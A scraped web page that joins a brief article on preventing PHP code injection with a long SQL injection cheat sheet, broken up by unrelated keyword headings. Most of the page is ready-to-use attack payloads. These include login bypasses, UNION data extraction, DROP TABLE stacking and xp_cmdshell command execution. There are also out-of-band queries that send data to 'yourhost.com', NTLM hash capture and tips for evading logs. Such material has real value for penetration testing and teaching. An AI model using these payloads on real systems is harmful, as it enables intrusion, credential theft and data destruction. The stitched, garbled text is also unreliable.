Code injection, also called Remote Code Execution (RCE), occurs when an attacker exploits an input validation flaw in software to introduce and execute malicious code. Code is injected in the language of the targeted application and executed by the server-side interpreter for that language – PHP, Python, Java, Perl, Ruby, etc. Any application that directly evaluates unvalidated input is vulnerable to code injection, and web applications are a prime target for attackers. This article shows how code injection vulnerabilities arise and how you can protect your web applications from injection.
- Sql Injection Code Cheat Sheet
- Sqlite Injection Cheat Sheet
- Php Code Injection Cheat Sheet
- Remote Code Injection Cheat Sheet
- Code Injection Cheat Sheet Roblox
In Command Injection, the attacker extends the default functionality of the application, which execute system commands, without the necessity of injecting code. Examples Example 1. The following code is a wrapper around the UNIX command cat which prints the contents of a file to standard output. It is also injectable. Interactive cross-site scripting (XSS) cheat sheet for 2021, brought to you by PortSwigger. Actively maintained, and regularly updated with new vectors. Full SQL Injections Cheatsheet EDB-ID: 13650.
Note: Following OWASP terminology, this article uses the term “code injection” to refer specifically to attacks exploiting server-side dynamic evaluation (also called eval injection attacks). This is not to be confused with other types of code injection, such as cross-site scripting (XSS), which injects JavaScript code executed by the browser, or SQL injection, where SQL instructions for the database server are injected. |
PHP Code Injection Example
Let's start with a quick example of vulnerable PHP code. The PHP eval()
function provides a quick and convenient way of executing string values as PHP code, especially in the initial phases of development or for debugging. However, when used with unknown inputs, it can leave your application vulnerable to code injection. Here’s a typical example of quick-and-dirty query string processing – just a simple echo command, like you might use for debugging parameters:
<?php eval ('echo '.$_REQUEST['user_name'].';'); ?>
The PHP interpreter will attempt to evaluate whatever is passed in the user_name parameter. As the parameter name implies, the developer expects the query string to contain a valid user name, for example:
http://www.example.com/index.php?user_name=admin
However, an attacker might supply the following query string to exploit the vulnerable construct and inject PHP code into the application:
http://www.example.com/index.php?user_name=admin;phpinfo();
If successful, this injection will cause the PHP interpreter to echo admin, but then execute phpinfo()
, providing the attacker with information about the operating system, PHP version, and other configuration details.
Unless the system()
function is disabled in PHP interpreter settings, a successful code injection can use this function to execute operating system commands, in effect performing command injection (see note below). Working with the vulnerable code shown above, an attacker might supply the following URL to a Linux-based server:
http://www.example.com/index.php?user_name=admin;system('ls -l');
Again, this will echo admin and then execute code injected after the semicolon. In this example, system('ls -l')
runs the ls -l
command to list the contents of the PHP interpreter’s working directory, including permissions.
Note: Code injection is a separate concept from command injection (shell injection). An attacker exploiting a command injection vulnerability is limited to injecting commands of the underlying operating system, while a code injection vulnerability allows them to execute arbitrary code in the server-side interpreter for the web application’s language. |
How Code Injection Attacks Work
Although the example above is only for PHP, the same principles apply to all other web application languages interpreted on the server. In general, an application is considered to have a code injection vulnerability when both of the following conditions occur:
- Lack of proper input validation (CWE-94)
- Dynamic evaluation of user input in a dangerous way (CWE-95)
In this case, user input is any data that is processed by the application and can be entered or manipulated by application users. This covers not just direct input, for example via form fields or file uploads, but also query string parameters, cookies and all other data sources that are beyond the developer’s control. The application usually expects specific types of input, and developers can neglect to validate and sanitize actual input data, especially if testing or debugging code makes it into the production application.
An application vulnerable to code injection takes this untrusted data and directly uses it in program code. This typically involves the use of eval()
or an equivalent function (depending on the language), but a direct concatenation of user-supplied strings also constitutes unsafe processing. An attacker can exploit such vulnerabilities by supplying malicious code in the application language. If successful, the attack can give full access to the server-side interpreter, allowing the attacker to execute arbitrary code within its process on the server. If the application has access to system calls, the attacker may be able to escalate this vulnerability to run system commands on the server, allowing command injection attacks.
How to Protect Applications from Code Injection
Regardless of language, you can avoid code injection vulnerabilities and improve web application security by following some basic security practices:
- Validate and sanitize inputs: Scan for escape characters and other special symbols for the application language and operating system, such as comment marks, line termination characters and command delimiters. If your application only expects a limited set of values, accept only those values, for example by whitelisting or conditionally switching on them.
- Avoid vulnerable evaluation constructs: If at all possible, avoid using eval() and equivalent functions on raw user inputs. Use dedicated language-specific features to safely process user-supplied arguments.
- Treat all data as untrusted: Be aware of all places where the user can provide or manipulate data for your application. Apart from obvious injection vectors such as query strings and HTML forms, code can also be injected via specially crafted data files, manually modified cookies, and other methods.
- Lock down your interpreter: If you have control over your server configuration, you may want to limit interpreter functionality to the minimum required for your application to prevent escalation to system command injection. For example, if your PHP application doesn’t use the
system()
function, you can disable that function in your php.ini file by specifying it in the disable_functions directive. Commonly disabled functions for PHP include:exec()
,passthru()
,shell_exec()
,system()
,proc_open()
,popen()
,curl_exec()
,curl_multi_exec()
,parse_ini_file()
, andshow_source()
. - Check your code: Use static code checking tools to scan for vulnerabilities related to input validation and unsafe evaluation.
- Scan your applications: Use a dynamic web vulnerability scanner to ensure your applications are safe from various types of attacks, including code injection.
What is an SQL Injection Cheat Sheet?
An SQL injection cheat sheet is a resource in which you can find detailed technical information about the many different variants of the SQL Injection vulnerability. This cheat sheet is of good reference to both seasoned penetration tester and also those who are just getting started in web application security.
About the SQL Injection Cheat Sheet
This SQL injection cheat sheet was originally published in 2007 by Ferruh Mavituna on his blog. We have updated it and moved it over from our CEO's blog. Currently this SQL Cheat Sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL servers. Some of the samples in this sheet might not work in every situation because real live environments may vary depending on the usage of parenthesis, different code bases and unexpected, strange and complex SQL sentences.
Samples are provided to allow you to get basic idea of a potential attack and almost every section includes a brief information about itself.
M : | MySQL |
S : | SQL Server |
P : | PostgreSQL |
O : | Oracle |
+ : | Possibly all other databases |
Examples;
- (MS) means : MySQL and SQL Server etc.
- (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server
Table Of Contents
- Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
- Line Comments
- Inline Comments
- Stacking Queries
- If Statements
- String Operations
- Strings without Quotes
- Union Injections
Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
Ending / Commenting Out / Line Comments
Line Comments
Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don't have to deal with fixing the syntax.
--
(SM)
DROP sampletable;--#
(M)
DROP sampletable;#
Line Comments Sample SQL Injection Attacks
- Username:
admin'--
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
This is going to log you as admin user, because rest of the SQL query will be ignored.
Inline Comments
Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.
/*Comment Here*/
(SM)DROP/*comment*/sampletable
DR/**/OP/*bypass blacklisting*/sampletable
SELECT/*avoid-spaces*/password/**/FROM/**/Members
/*! MYSQL Special SQL *
/ (M)
This is a special comment syntax for MySQL. It's perfect for detecting MySQL version. If you put a code into this comments it's going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.SELECT /*!32302 1/0, */ 1 FROM tablename
Classical Inline Comment SQL Injection Attack Samples
- ID:
10; DROP TABLE members /*
Simply get rid of other stuff at the end the of query. Same as10; DROP TABLE members --
SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw an divison by 0 error if MySQL version is higher than3.23.02
MySQL Version Detection Sample Attacks
- ID:
/*!
32302 10*/
- ID:
10
You will get the same response if MySQL version is higher than 3.23.02 SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw a division by 0 error if MySQL version is higher than3.23.02
Stacking Queries
Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.
;
(S)SELECT * FROM members; DROP members--
Ends a query and starts a new one.
Language / Database Stacked Query Support Table
green: supported, dark gray: not supported, light gray: unknown
About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it's not possible to execute a second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?
Stacked SQL Injection Attack Samples
- ID:
10;DROP members --
SELECT * FROM products WHERE id = 10; DROP members--
This will run DROP members SQL sentence after normal SQL Query.
If Statements
Get response based on an if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.
MySQL If Statement
IF(condition,true-part,false-part)
(M)
SELECT IF(1=1,'true','false')
SQL Server If Statement
IF conditiontrue-part ELSE false-part
(S)IF (1=1) SELECT 'true' ELSE SELECT 'false'
Oracle If Statement
BEGIN
(O)
IF condition THEN true-part; ELSE false-part; END IF; END;IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
PostgreSQL If Statement
SELECT CASE WHEN condition THEN true-part ELSE false-part
END; (P)SELECT CASE WEHEN (1=1) THEN 'A' ELSE 'B'END;
If Statement SQL Injection Attack Samples
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0
(S)
This will throw an divide by zero error if current logged user is not 'sa' or 'dbo'.
Using Integers
Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.
0xHEXNUMBER
(SM)
You can write hex like these;SELECT CHAR(0x66)
(S)SELECT 0x5045
(this is not an integer it will be a string from Hex) (M)SELECT 0x50 + 0x45
(this is integer now!) (M)
String Operations
String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.
String Concatenation
+
(S)SELECT login + '-' + password FROM members
||
(*MO)SELECT login || '-' || password FROM members
*About MySQL '||';
If MySQL is running in ANSI mode it's going to work but otherwise MySQL accept it as `logical operator` it'll return 0. A better way to do it is using CONCAT()
function in MySQL.
CONCAT(str1, str2, str3, ...)
(M)
Concatenate supplied strings.SELECT CONCAT(login, password) FROM members
Strings without Quotes
These are some direct ways to using strings but it's always possible to use CHAR()
(MS) and CONCAT()
(M) to generate string without quotes.
0x457578
(M) - Hex Representation of stringSELECT 0x457578
This will be selected as string in MySQL.
In MySQL easy way to generate hex representations of strings use this;SELECT CONCAT('0x',HEX('c:boot.ini'))
- Using
CONCAT()
in MySQLSELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))
(M)
This will return 'KLM'. SELECT CHAR(75)+CHAR(76)+CHAR(77)
(S)
This will return 'KLM'.SELECT CHR(75)||CHR(76)||CHR(77)
(O)
This will return 'KLM'.SELECT (CHaR(75)||CHaR(76)||CHaR(77))
(P)
This will return 'KLM'.
Hex based SQL Injection Samples
SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
(M)
This will show the content of c:boot.ini
String Modification & Related
ASCII()
(SMP)
Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.SELECT ASCII('a')
CHAR()
(SM)
Convert an integer of ASCII.SELECT CHAR(64)
Union Injections
With union you do SQL queries cross-table. Basically you can poison query to return records from another table.
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.
Another Example: ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
UNION – Fixing Language Issues
While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.
- SQL Server (S)
Usefield
COLLATE
SQL_Latin1_General_Cp1254_CS_AS
or some other valid one - check out SQL Server documentation.SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
- MySQL (M)
Hex()
for every possible issue
Bypassing Login Screens (SMO+)
SQL Injection 101, Login tricks
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
- ....
- Login as different user (SM*)
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
*Old versions of MySQL doesn't support union queries
Bypassing second MD5 hash check login screens
If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.
Bypassing MD5 Hash Check Example (MSP)
Username :admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Password : 1234
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
Error Based - Find Columns Names
Finding Column Names with HAVING BY - Error Based (S)
In the same order,
- '
HAVING 1=1 --
' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --
and so on- If you are not getting any more error then it's done.
Finding how many columns in SELECT query by ORDER BY(MSO+)
Finding column number by ORDER BY can speed up the UNION SQL Injection process.
ORDER BY 1--
ORDER BY 2--
ORDER BY N--
so on- Keep going until get an error. Error means you found the number of selected columns.
Data types, UNION, etc.
Hints,
- Always use UNION with ALL because of image similar non-distinct field types. By default union tries to get records with distinct.
- To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
- Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
- Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)
Finding Column Type
' union select sum(columntofind) from users--
(S)Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
If you are not getting an error it means column is numeric.- Also you can use CAST() or CONVERT()
SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
No Error - Syntax is right. MS SQL Server Used. Proceeding.11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
No Error – First column is an integer.11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
Error! – Second column is not an integer.11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 –-
No Error – Second column is a string.11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 –-
Error! – Third column is not an integer. ...Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed.
You'll get convert() errors before union target errors ! So start with convert() then union
Simple Insert (MSO+)
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes
@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also, you can use insert, update statements or in functions.
INSERT INTO members(id, user, pass) VALUES(1, '+SUBSTRING(@@version,1,10) ,10)
Bulk Insert (S)
Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file(%systemroot%system32inetsrvMetaBase.xml) and then search in it to identify application path.
- Create table foo( line varchar(8000) )
- bulk insert foo from 'c:inetpubwwwrootlogin.asp'
- Drop temp table, and repeat for another file.
BCP (S)
Write text file. Login Credentials are required to use this function. bcp 'SELECT * FROM test..foo' queryout c:inetpubwwwrootruncommand.asp -c -Slocalhost -Usa -Pfoobar
VBS, WSH in SQL Server (S)
You can use VBS, WSH scripting in SQL Server because of ActiveX support.
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe' Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
Executing system commands, xp_cmdshell (S)
Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
Simple ping check (configure your firewall or sniffer to identify request before launch it),
EXEC master.dbo.xp_cmdshell 'ping '
You can not read results directly from error or union or something else.
Some Special Tables in SQL Server (S)
- Error Messages
master..sysmessages
- Linked Servers
master..sysservers
- Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
SQL Server 2000:masters..sysxlogins
SQL Server 2005 :sys.sql_logins
More Stored Procedures for SQL Server (S)
- Cmd Execute (xp_cmdshell)
exec master..xp_cmdshell 'dir' - Registry Stuff (xp_regread)
- xp_regaddmultistring
- xp_regdeletekey
- xp_regdeletevalue
- xp_regenumkeys
- xp_regenumvalues
- xp_regread
- xp_regremovemultistring
- xp_regwrite
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEMCurrentControlSetServiceslanmanserverparameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEMCurrentControlSetServicessnmpparametersvalidcommunities'
- Managing Services (xp_servicecontrol)
- Medias (xp_availablemedia)
- ODBC Resources (xp_enumdsn)
- Login mode (xp_loginconfig)
- Creating Cab Files (xp_makecab)
- Domain Enumeration (xp_ntsec_enumdomains)
- Process Killing (need PID) (xp_terminate_process)
- Add new procedure (virtually you can execute whatever you want)
sp_addextendedproc 'xp_webserver', 'c:tempx.dll'
exec xp_webserver - Write text file to a UNC or an internal path (sp_makewebtask)
MSSQL Bulk Notes
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx
You can not use sub selects in SQL Server Insert queries.
SQL Injection in LIMIT (M) or ORDER (MSO)
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
If injection is in second limit you can comment it out or use in your union injection
Shutdown SQL Server (S)
When you're really pissed off, ';shutdown --
Enabling xp_cmdshell in SQL Server 2005
By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
Finding Database Structure in SQL Server (S)
Getting User defined Tables
SELECT name FROM sysobjects WHERE xtype = 'U'
Getting Column Names
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
Moving records (S)
- Modify WHERE and use
NOT IN
orNOT EXIST
,... WHERE users NOT IN ('First User', 'Second User')
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)
-- very good one - Using Dirty Tricks
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int
Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21
Fast way to extract data from Error Based SQL Injections in SQL Server (S)
';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
Detailed Article: Fast way to extract data from Error Based SQL Injections
Finding Database Structure in MySQL (M)
Getting User defined Tables
SELECT table_name FROM information_schema.tables WHERE table_schema = 'databasename'
Getting Column Names
SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'tablename'
Finding Database Structure in Oracle (O)
Getting User defined Tables
SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Getting Column Names
SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'
Blind SQL Injections
About Blind SQL Injections
In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.
Normal Blind, You can not see a response in the page, but you can still determine result of a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common, though.
In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAITFOR DELAY '0:0:10' in SQL Server, BENCHMARK() and sleep(10) in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.
Real and a bit Complex Blind SQL Injection Attack Sample
This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.
TRUE and FALSE flags mark queries returned true or false.
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well-known way is reading data bit by bit. Both can be effective in different conditions.
Making Databases Wait / Sleep For Blind SQL Injection Attacks
First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.
WAITFOR DELAY 'time' (S)
This is just like sleep, wait for specified time. CPU safe way to make database wait.
WAITFOR DELAY '0:0:10'--
Also, you can use fractions like this,
WAITFOR DELAY '0:0:0.51'
Real World Samples
- Are we 'sa' ?
if (select user) = 'sa' waitfor delay '0:0:10'
- ProductID =
1;waitfor delay '0:0:10'--
- ProductID =
1);waitfor delay '0:0:10'--
- ProductID =
1';waitfor delay '0:0:10'--
- ProductID =
1');waitfor delay '0:0:10'--
- ProductID =
1));waitfor delay '0:0:10'--
- ProductID =
1'));waitfor delay '0:0:10'--
BENCHMARK() (M)
Basically, we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!
BENCHMARK(howmanytimes, do this)
Real World Samples
- Are we root ? woot!
IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
- Check Table exist in MySQL
IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
pg_sleep(seconds) (P)
Sql Injection Code Cheat Sheet
Sleep for supplied seconds.
SELECT pg_sleep(10);
Sleep 10 seconds.
sleep(seconds) (M)
Sleep for supplied seconds.
SELECT sleep(10);
Sleep 10 seconds.
dbms_pipe.receive_message (O)
Sleep for supplied seconds.
(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)
{INJECTION} = You want to run the query.
If the condition is true, will response after 10 seconds. If is false, will be delayed for one second.
Covering Your Tracks
SQL Server -sp_password log bypass (S)
SQL Server don't log queries that includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)
Clear SQL Injection Tests
These tests are simply good for blind sql injection and silent attacks.
Sqlite Injection Cheat Sheet
product.asp?id=4 (SMO)
product.asp?id=5-1
product.asp?id=4 OR 1=1
product.asp?name=Book
product.asp?name=Bo'%2b'ok
product.asp?name=Bo' || 'ok (OM)
product.asp?name=Book' OR 'x'='x
Extra MySQL Notes
- Sub Queries are working only MySQL 4.1+
- Users
SELECT User,Password FROM mysql.user;
SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root';
SEL
ECT ... INTO DUMPFILE
Write quer
y into a new file (can not modify existing files)
- UDF Function
create function LockWorkStation returns integer soname 'user32';
select LockWorkStation();
create function ExitProcess returns integer soname 'kernel32';
select exitprocess();
SELECT USER();
SELECT password,USER() FROM mysql.user;
- First byte of admin hash
SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
- Read File
query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
- MySQL Load Data infile
- By default it's not available !
create table foo( line blob );
load data infile 'c:/boot.ini' into table foo;
select * from foo;
- By default it's not available !
- More Timing in MySQL
select benchmark( 500000, sha1( 'test' ) );
query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
Enumeration data, Guessed Brute Forceselect if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );
Potentially Useful MySQL Functions
Php Code Injection Cheat Sheet
MD5()
MD5 HashingSHA1()
SHA1 HashingPASSWORD()
ENCODE()
COMPRESS()
Compress data, can be great in large binary reading in Blind SQL Injections.ROW_COUNT()
SCHEMA()
VERSION()
Same as@@version
Second Order SQL Injections
Basically, you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.
Name : ' + (SELECT TOP 1 password FROM users ) + '
Email : xx@xx.com
If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.
Forcing SQL Server to get NTLM Hashes
This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.
Bulk insert from a UNC Share (S)
bulk insert foo from 'YOURIPADDRESSC$x.txt'
Remote Code Injection Cheat Sheet
Check out Bulk Insert Reference to understand how can you use bulk insert.
Out of Band Channel Attacks
SQL Server
Code Injection Cheat Sheet Roblox
- ?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB', ({INJECTION})+'.yourhost.com';'sa';'pwd', 'SELECT 1')
Makes DNS resolution request to {INJECT}.yourhost.com - ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = '+({INJECTION})+'.yourhost.comtest.txt'; EXEC master..xp_dirtree @q
Makes DNS resolution request to {INJECTION}.yourhost.com
{INJECTION} = You want to run the query.
MySQL
?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat(',({INJECTION}), 'yourhost.com')))
Makes a NBNS query request/DNS resolution request to yourhost.com
?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE 'yourhost.comshareoutput.txt')
Writes data to your shared folder/file{INJECTION} = You want to run the query.
Oracle
?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ sniff.php?sniff='||({INJECTION})||') FROM DUAL)
Sniffer application will save results?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ '||({INJECTION})||'.html') FROM DUAL)
Results will be saved in HTTP access logs?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||'.yourhost.com') FROM DUAL)
You need to sniff dns resolution requests to yourhost.com?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||'.yourhost.com',80) FROM DUAL)
You need to sniff dns resolution requests to yourhost.com{INJECTION} = You want to run the query.
Vulnerability Classification and Severity Table
Classification | ID / Severity |
---|---|
PCI v3.1 | 6.5.1 |
PCI v3.2 | 6.5.1 |
OWASP 2013 | A1 |
CWE | 89 |
CAPEC | 66 |
WASC | 19 |
HIPAA | 164.306(a), 164.308(a) |
CVSS 3.0 Score | |
Base | 10 (Critical) |
Temporal | 10 (Critical) |
Environmental | 10 (Critical) |
CVSS Vector String | |
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |